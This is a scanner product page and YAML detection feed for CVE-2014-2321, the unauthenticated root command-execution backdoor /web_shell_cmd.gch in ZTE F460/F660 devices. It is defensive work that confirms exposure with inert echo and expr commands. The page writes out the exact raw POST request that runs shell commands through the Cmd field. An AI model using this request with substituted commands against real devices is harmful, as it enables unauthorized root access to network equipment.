ZTE F460/F660 — 1 vulnerability check

noctis ships 1 vulnerability check for ZTE F460/F660, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ZTE F460/F660 web_shell_cmd.gch Unauthenticated Command Execution

CVECVE-2014-2321
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, set_var, script, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/zte-f460-f660/CVE-2014-2321.yaml

Detects the unauthenticated web shell backdoor /web_shell_cmd.gch on ZTE F460 / F660 devices (CVE-2014-2321). After confirming the backdoor page is exposed, the feed submits an inert echo command whose output is a per-run marker that only a real shell can assemble (an empty $() substitution separates a fixed prefix from a random token). The finding fires only when the joined marker comes back, proving command execution as root.

How noctis detects it

  1. HTTP(S) request GET /web_shell_cmd.gch
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /web_shell_cmd.gch HTTP/1.0
  6. Checks resp.banner for NOCTIS[0-9a-f]{32} → finding QoD 97: ZTE F460/F660 backdoor /web_shell_cmd.gch executed an unauthenticated command: a shell collapsed the per-run payload echo NOCTIS$()<tok> in…
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: POST /web_shell_cmd.gch HTTP/1.0
  9. Checks resp2.banner for [0-9]{9} → finding QoD 97: ZTE F460/F660 backdoor /web_shell_cmd.gch executed an unauthenticated command: expr … + … returned the per-run sum …

References:

Feed source — tests/vulnerabilities/zte-f460-f660/CVE-2014-2321.yaml
# ZTE F460 / F660 — unauthenticated web shell backdoor (CVE-2014-2321)
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_zte_f460_f660_65962.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103924, GPL-2.0-only); same endpoint as the
# Nuclei template `http/cves/2014/CVE-2014-2321.yaml`.
#
# ZTE F460 and F660 ONT / cable-modem web servers ship /web_shell_cmd.gch, a
# debugging page ("please input shell command") that runs the posted `Cmd`
# form field as root and prints its output, without any authentication.
#
# Detection — two steps, nothing written, read or persisted:
#   1. GET /web_shell_cmd.gch and require the backdoor page marker
#      "please input shell command" (NASL gate). Ports without the page get no
#      POST at all.
#   2. POST the NASL form with its command (`/sbin/ifconfig`) replaced by the
#      inert `echo NOCTIS$()<tok>`, where tok = rand_hex(16) per run. Only a
#      real shell collapses the empty `$()` and prints the joined marker
#      NOCTIS<tok> (QoD 97); a page that merely reflects the submitted command
#      keeps `$()` (or `%24%28%29`) in place and does not match.
#   3. Shell-free fallback (QoD 97), only if step 2 did not fire: firmware that
#      execs `Cmd` without /bin/sh never collapses `$()`, so the feed sends
#      `expr <a> + <b>` (random 9-digit operands) and requires the sum in the
#      reply. A reflected command holds the operands, never the sum.
#
# Better than the NASL / Nuclei:
#   - Nuclei stops at the page fingerprint (no execution proof).
#   - The NASL needs a `Server: Mini web server` banner and greps `Link encap`,
#     `HWaddr` and `BROADCAST` in ifconfig output, which misses rebranded
#     firmware with another Server header and newer BusyBox ifconfig output
#     formats, and dumps the device's network configuration into the report.
#     The per-run echo marker proves execution regardless of banner or ifconfig
#     format and leaks nothing.
#
# The POST goes through `tcp_connect` so `%24%28%29` reaches the CGI verbatim.
# Content-Length is fixed: the token is always 32 hex characters (body = 134 bytes).
uid: fc1b759e-81b7-4b6a-b458-efaaf6babe08
name: "ZTE F460/F660 web_shell_cmd.gch Unauthenticated Command Execution (CVE-2014-2321)"
description: |
  Detects the unauthenticated web shell backdoor /web_shell_cmd.gch on ZTE
  F460 / F660 devices (CVE-2014-2321). After confirming the backdoor page is
  exposed, the feed submits an inert echo command whose output is a per-run
  marker that only a real shell can assemble (an empty $() substitution
  separates a fixed prefix from a random token). The finding fires only when
  the joined marker comes back, proving command execution as root.
cves: [CVE-2014-2321]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [zte, f460, f660, ont, router, backdoor, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2321"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2321.yaml"

steps:
  # NASL gate: the backdoor page must be exposed.
  - id: probe-page
    action: http_request
    method: GET
    path: /web_shell_cmd.gch
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  # exposed = the backdoor page answered with its marker. Pre-initialised so
  # later conditions never read an undefined variable (no reply => false).
  - id: init-exposed
    action: set_var
    var_name: exposed
    var_value: false

  - id: check-exposed
    action: script
    condition: "page.status == 200"
    code: |
      stridx(page.body, "please input shell command") >= 0
    store_as: exposed

  # Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
  - id: gen-token
    action: script
    condition: "exposed == true"
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-marker
    action: script
    condition: "exposed == true"
    code: |
      "NOCTIS" + tok
    store_as: marker

  # NASL request, `Cmd=%2Fsbin%2Fifconfig` swapped for `echo NOCTIS$()<tok>`:
  #   %20 = space   %24%28%29 = $()
  - id: exec
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "exposed == true"
    send: "POST /web_shell_cmd.gch HTTP/1.0\r\nHost: {{target_host}}\r\nReferer: {{scheme}}://{{target_host}}/web_shell_cmd.gch\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 134\r\nConnection: close\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=echo%20NOCTIS%24%28%29{{tok}}&CmdAck="
    store_as: resp

  # Confirm RCE: the joined per-run marker must appear in the reply. A raw
  # reflection (NOCTIS$()<tok> / NOCTIS%24%28%29<tok>) cannot satisfy stridx.
  # `marker` is only defined when the page was exposed; && short-circuits.
  - id: confirm
    action: match
    source: resp.banner
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "exposed == true && resp.connected == true && stridx(resp.banner, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "ZTE F460/F660 backdoor /web_shell_cmd.gch executed an unauthenticated command: a shell collapsed the per-run payload echo NOCTIS$()<tok> into the joined marker {{marker}}"
      stop: true

  # Shell-free fallback (reached only when the echo proof did not fire): some
  # firmware may exec `Cmd` directly (argv split, no /bin/sh), where $() never
  # collapses. `expr <a> + <b>` needs no shell; only real execution prints the
  # sum. A reflection carries `<a> + <b>`, never the 9-digit sum (a, b > 0, so
  # the sum differs from both operands). Both operands are always 9 digits, so
  # the body is a fixed 114 bytes.
  - id: gen-sum
    action: script
    condition: "exposed == true"
    code: |
      let a = rand_int(100000000, 499999999);
      let b = rand_int(100000000, 499999999);
      #{ a: a.to_string(), b: b.to_string(), sum: (a + b).to_string() }
    store_as: calc

  - id: exec-expr
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "exposed == true"
    send: "POST /web_shell_cmd.gch HTTP/1.0\r\nHost: {{target_host}}\r\nReferer: {{scheme}}://{{target_host}}/web_shell_cmd.gch\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 114\r\nConnection: close\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=expr%20{{calc.a}}%20%2B%20{{calc.b}}&CmdAck="
    store_as: resp2

  - id: confirm-expr
    action: match
    source: resp2.banner
    pattern: "[0-9]{9}"
    condition: "exposed == true && resp2.connected == true && stridx(resp2.banner, calc.sum) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "ZTE F460/F660 backdoor /web_shell_cmd.gch executed an unauthenticated command: expr {{calc.a}} + {{calc.b}} returned the per-run sum {{calc.sum}}"
      stop: true

View these feeds on GitHub